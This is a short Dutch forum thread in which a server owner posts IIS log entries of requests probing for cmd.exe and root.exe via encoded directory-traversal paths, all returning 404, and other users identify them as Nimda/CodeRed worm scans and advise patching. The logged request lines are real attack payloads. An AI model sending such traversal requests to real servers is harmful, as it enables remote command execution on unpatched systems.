Toon posts:

[ISS] Is dit gevaarlijk of niet??

Pagina: 1
Acties:
  • 41 views sinds 30-01-2008

Verwijderd

Topicstarter
Zat net toevallig ff in een log file van ISS te kijken en kwam dit tegen
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
20:02:40 213.221.173.2 CONNECT - 501
20:06:16 212.129.139.17 GET /scripts/root.exe 404
20:06:17 212.129.139.17 GET /MSADC/root.exe 404
20:06:18 212.129.139.17 GET /c/winnt/system32/cmd.exe 404
20:06:19 212.129.139.17 GET /d/winnt/system32/cmd.exe 404
20:06:19 212.129.139.17 GET /scripts/..%5c../winnt/system32/cmd.exe 404
20:06:21 212.129.139.17 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 404
20:06:23 212.129.139.17 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 404
20:06:24 212.129.139.17 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe 404
20:06:26 212.129.139.17 GET /scripts/..Á../winnt/system32/cmd.exe 404
20:06:28 212.129.139.17 GET /scripts/winnt/system32/cmd.exe 404
20:06:29 212.129.139.17 GET /winnt/system32/cmd.exe 404
20:06:30 212.129.139.17 GET /winnt/system32/cmd.exe 404
20:06:30 212.129.139.17 GET /scripts/..%5c../winnt/system32/cmd.exe 404
20:06:32 212.129.139.17 GET /scripts/..%5c../winnt/system32/cmd.exe 404
20:06:33 212.129.139.17 GET /scripts/..%5c../winnt/system32/cmd.exe 404
20:06:35 212.129.139.17 GET /scripts/..%2f../winnt/system32/cmd.exe 404

Kan dit kwaad?

zo te zien geeft ie gewoon 404 error meldingen, maar toch...

komt regelmatig voor in de logs.
is er wat tegen te doen?
en: wordt hier een programma voor gebruikt, aangezien het iedere keer hetzelfde is.

Kan iemand uitleggen hoe het precies zit?

  • Battle Bunny
  • Registratie: Oktober 2001
  • Laatst online: 02-02 21:41
Log file van the international space station? IIS bedoel je denk ik :)

Maar nee, odmat het allemaal 404's zijn. Als het geen 404's zijn is het wel foute boel!

Dit zijn de calls van dat malle Nimda ding ofzo (in elk geval een of ander virus). JIj kunt er niets tegen doen, behalve te zorgen dat jij je bak netjes geupdate houdtdtd.

Ik heb dit b.t.w. ook constant in mijn logs :)

  • Koffie
  • Registratie: Augustus 2000
  • Laatst online: 21-08 15:02

Koffie

Koffiebierbrouwer

Braaimeneer

:z
CodeRed

Volgende eerst even zelf zoeken. Is al zo vaak voorbij gekomen (volgende keer dan ook meteen in [forum=44] posten)

Braaikamer - Smoke&BBQ


Dit topic is gesloten.